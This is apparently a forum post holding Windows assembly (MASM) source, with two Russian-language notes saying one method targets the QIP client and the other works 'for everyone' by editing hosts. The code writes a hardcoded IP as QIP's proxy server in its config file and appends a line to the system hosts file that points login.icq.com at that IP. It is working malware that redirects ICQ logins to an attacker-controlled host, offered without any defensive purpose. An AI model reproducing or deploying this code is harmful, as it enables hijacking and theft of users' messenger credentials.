1)для квипа только
2)для всех (редактирует hosts)
.586 .model flat,stdcall ;Headers include windows.inc include kernel32.inc include advapi32.inc include shell32.inc includelib kernel32.lib includelib advapi32.lib includelib shell32.lib .const nomer DB "Users\nomer icq\Config.INI",0 AppName DB "ServerProxy",0 KeyName DB "Server",0 ParamName DB "89.111.182.27",0 method DB 1;1 host:))) .data ;METHOD 0 subkey DB "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\QIP2005\\",0 parametr DB "UninstallString",0 data DB 255 dup(0) tip DD REG_SZ razmer DD 255d KEY DD 00000000h NewPath DD 00000000h ;METHOD 1 WinDir DB 255 dup(0); full path to host file such as C:\windows\system32\drivers\etc\hosts!!! Backup DB 255 dup(0);BackupPath C:\Windows\system32\drivers\etc\hosts.back DriverPath DB "\drivers\etc\hosts",0;tmp string ext DB ".bak",0 FileHandle DD 00000000h StringToWrite DB 13d,10d,"89.111.182.27 login.icq.com" NumWriten DD 00000000h SFS SHFILEOPSTRUCT <> .CODE main PROC cmp method,0 jnz _HostMethod invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,addr subkey,0,KEY_ALL_ACCESS,addr KEY .IF eax==ERROR_SUCCESS invoke RegQueryValueEx,KEY,addr parametr,0,addr tip,addr data,addr razmer .IF eax==ERROR_SUCCESS mov ebx,offset data mov BYTE PTR [ebx],0 mov ebx,offset data+1;Clear string in ebx xor esi,esi _start: cmp BYTE PTR [ebx+esi],0 jz _end inc esi jmp _start _end: ;EBX address data ;ESI strlen(data) 1F for qip with zero byte mov ecx,sizeof nomer add ebx,esi sub ebx,0Ah;in EBX addres of end string ( unqip.exe) xor edx,edx xor eax,eax mov esi,offset nomer ;EBX addres end of the string C:\program files\qip\...... ;ESI offset of nomer ;ECX counter ;EDX counter ;EAX tmp _copystart: mov al,byte ptr[esi+edx] mov byte ptr [ebx+edx],al inc edx loop _copystart mov eax,offset data+1 invoke WritePrivateProfileString,addr AppName,addr KeyName,addr ParamName,eax .endif .endif invoke RegCloseKey,KEY _HostMethod: invoke GetSystemDirectory,addr WinDir,255 mov ebx,offset WinDir add ebx,eax;EBX addres of end of WINDOW PATH mov ecx,LENGTHOF DriverPath;ECX dlina DriverPAth xor edi,edi;EDI counter mov esi,offset DriverPath ; Copy DriverPath to WinDir _CopyStart: mov al,byte ptr[esi+edi] mov byte ptr [ebx+edi],al inc edi loop _CopyStart ;END in WinDir full path ;Copy str to backup Path mov ecx,LENGTHOF WinDir mov esi,offset WinDir mov ebx,offset Backup xor edi,edi _CopyStart2: mov al,byte ptr[esi+edi] mov byte ptr[ebx+edi],al inc edi cmp byte ptr[ebx+edi-1],0 jz _CopyEnd2 loop _CopyStart2 _CopyEnd2: mov ebx,offset Backup ; add ebx,edi;YEH EBX offset end of string mov esi,offset ext mov ecx,LENGTHOF ext ; xor edi,edi _CopyStart3: mov al,byte ptr[esi+edi] mov byte ptr[ebx-1+edi],al inc edi loop _CopyStart3 invoke CopyFile,addr WinDir,addr Backup,FALSE invoke DeleteFile,addr WinDir invoke CreateFile,addr Backup,0c0000000h,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL mov FileHandle,eax cmp FileHandle,INVALID_HANDLE_VALUE jz _error invoke SetFilePointer,FileHandle,0,0,FILE_END invoke WriteFile,FileHandle,addr StringToWrite,SIZEOF StringToWrite,addr NumWriten,NULL invoke CloseHandle,FileHandle invoke CopyFile,addr Backup,addr WinDir,FALSE ;тут эксперементы) ;mov SFS.wFunc,FO_RENAME ;mov SFS.pFrom,offset WinDir ;mov SFS.pTo,offset Backup ;invoke SHFileOperation,addr SFS _error: ret main endp END main